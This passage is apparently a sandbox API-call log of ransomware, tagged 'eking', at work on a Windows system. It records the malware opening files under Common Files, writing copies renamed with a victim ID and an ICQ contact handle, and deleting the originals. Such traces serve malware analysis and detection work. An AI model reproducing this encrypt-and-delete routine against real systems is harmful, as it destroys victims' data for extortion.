shared\\ink\\tiptsf.dll")) returned 0x20 [0287.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0287.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.403] SetEvent (hEvent=0x2a0) returned 1 [0287.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.404] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=96768) returned 1 [0287.404] CloseHandle (hObject=0x2e4) returned 1 [0287.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0287.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0287.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.405] SetEvent (hEvent=0x2a0) returned 1 [0287.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.406] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=10240) returned 1 [0287.406] CloseHandle (hObject=0x2e4) returned 1 [0287.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0287.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0287.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.407] SetEvent (hEvent=0x2a0) returned 1 [0287.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.408] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=10240) returned 1 [0287.408] CloseHandle (hObject=0x2e4) returned 1 [0287.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0287.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0287.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.409] SetEvent (hEvent=0x2a0) returned 1 [0287.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.410] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=7168) returned 1 [0287.410] CloseHandle (hObject=0x2e4) returned 1 [0287.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0287.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0287.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.411] SetEvent (hEvent=0x2a0) returned 1 [0287.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.412] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=7168) returned 1 [0287.412] CloseHandle (hObject=0x2e4) returned 1 [0287.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0287.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0287.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.413] SetEvent (hEvent=0x2a0) returned 1 [0287.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.414] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=30720) returned 1 [0287.414] CloseHandle (hObject=0x2e4) returned 1 [0287.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0287.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0287.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.415] SetEvent (hEvent=0x2a0) returned 1 [0287.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.416] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=370176) returned 1 [0287.416] CloseHandle (hObject=0x2e4) returned 1 [0287.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0287.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0287.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.417] SetEvent (hEvent=0x2a0) returned 1 [0287.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.418] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=363728) returned 1 [0287.418] CloseHandle (hObject=0x2e4) returned 1 [0287.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 0x20 [0287.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 0x20 [0287.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.419] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0287.419] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0287.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2e0 [0287.420] ReadFile (in: hFile=0x2e4, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x58cd0, lpOverlapped=0x0) returned 1 [0287.878] WriteFile (in: hFile=0x2e0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x58ce0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x58ce0, lpOverlapped=0x0) returned 1 [0287.890] WriteFile (in: hFile=0x2e0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xf2, lpOverlapped=0x0) returned 1 [0287.890] CloseHandle (hObject=0x2e4) returned 1 [0287.891] CloseHandle (hObject=0x2e0) returned 1 [0287.891] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 1 [0287.898] SetEvent (hEvent=0x2a0) returned 1 [0287.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0287.900] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=590523) returned 1 [0287.900] CloseHandle (hObject=0x2e0) returned 1 [0287.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0287.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0287.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0287.901] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0287.901] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0287.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2e4 [0287.902] ReadFile (in: hFile=0x2e0, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x902bb, lpOverlapped=0x0) returned 1 [0288.309] WriteFile (in: hFile=0x2e4, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x902c0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x902c0, lpOverlapped=0x0) returned 1 [0288.582] WriteFile (in: hFile=0x2e4, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x112, lpOverlapped=0x0) returned 1 [0288.582] CloseHandle (hObject=0x2e0) returned 1 [0288.582] CloseHandle (hObject=0x2e4) returned 1 [0288.583] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1 [0288.593] SetEvent (hEvent=0x2a0) returned 1 [0288.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0288.595] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=18624) returned 1 [0288.595] CloseHandle (hObject=0x2e4) returned 1 [0288.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0288.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0288.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0288.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0288.597] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0288.597] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0288.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2e0 [0288.598] ReadFile (in: hFile=0x2e4, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x48c0, lpOverlapped=0x0) returned 1 [0288.601] WriteFile (in: hFile=0x2e0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x48d0, lpOverlapped=0x0) returned 1 [0288.604] WriteFile (in: hFile=0x2e0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x112, lpOverlapped=0x0) returned 1 [0288.604] CloseHandle (hObject=0x2e4) returned 1 [0288.604] CloseHandle (hObject=0x2e0) returned 1 [0288.604] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 1 [0288.610] SetEvent (hEvent=0x2a0) returned 1 [0288.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0288.612] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=244296) returned 1 [0289.014] CloseHandle (hObject=0x2e0) returned 1 [0289.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0289.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0289.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0289.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0289.016] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0289.016] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0289.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source 